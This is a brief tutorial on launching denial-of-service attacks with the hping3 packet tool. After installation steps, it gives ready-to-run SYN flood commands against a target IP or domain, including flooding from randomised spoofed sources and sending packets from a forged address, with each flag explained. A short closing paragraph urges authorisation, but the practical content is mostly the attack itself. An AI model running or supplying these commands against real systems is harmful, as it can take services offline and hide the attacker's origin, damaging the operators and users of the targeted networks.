Denial of Service using Hping3

DoS using Hping3

Hping3 is a versatile tool that allows users to send manipulated packets, including size, quantity, and fragmentation of packets, to overload a target and bypass or attack firewalls. It can be particularly useful for security or capability testing purposes. By using hping3, one can test the effectiveness of firewalls and evaluate if a server can handle a large number of connections. This guide will walk you through the installation process and demonstrate how to use hping3 for DoS attacks.

Installation of Hping3

Hping3 can be installed on various Linux distributions. Here's how you can install it:

Debian and Ubuntu Installation

  1. Open a terminal.
  2. Use the following command to install hping3:
    sudo apt install hping3 -y

CentOS or RedHat Installation

  1. Open a terminal.
  2. Install hping3 using the following command:
    sudo yum -y install hping3

Using Hping3 for DoS

Once hping3 is installed, you can use it to perform a DoS attack. Here's a step-by-step guide:

  1. Open a terminal.
  2. To launch a simple DoS attack, use the following command:
    sudo hping3 -S --flood -V -p 80 TARGET_IP
    • -S: specifies SYN packets.
    • --flood: sends packets as fast as possible, ignoring replies.
    • -V: provides verbose output.
    • -p 80: targets port 80, but this can be replaced with the desired port.
    • TARGET_IP: replace this with the IP address of your target.
  3. To launch a SYN flood attack against a domain, use:
    sudo hping3 DOMAIN_NAME -q -n -d 120 -S -p 80 --flood --rand-source
  4. If you wish to launch an attack from a fake IP address, use:
    sudo hping3 -a FAKE_IP TARGET_IP -S -q -p 80

Conclusion

While hping3 is a powerful tool for understanding DoS attacks and stress testing, it's essential to use it responsibly and ethically. Unauthorized attacks can lead to severe legal consequences. Always ensure you have permission before testing any network or system. Remember, the primary purpose of tools like hping3 is to enhance security, not exploit it.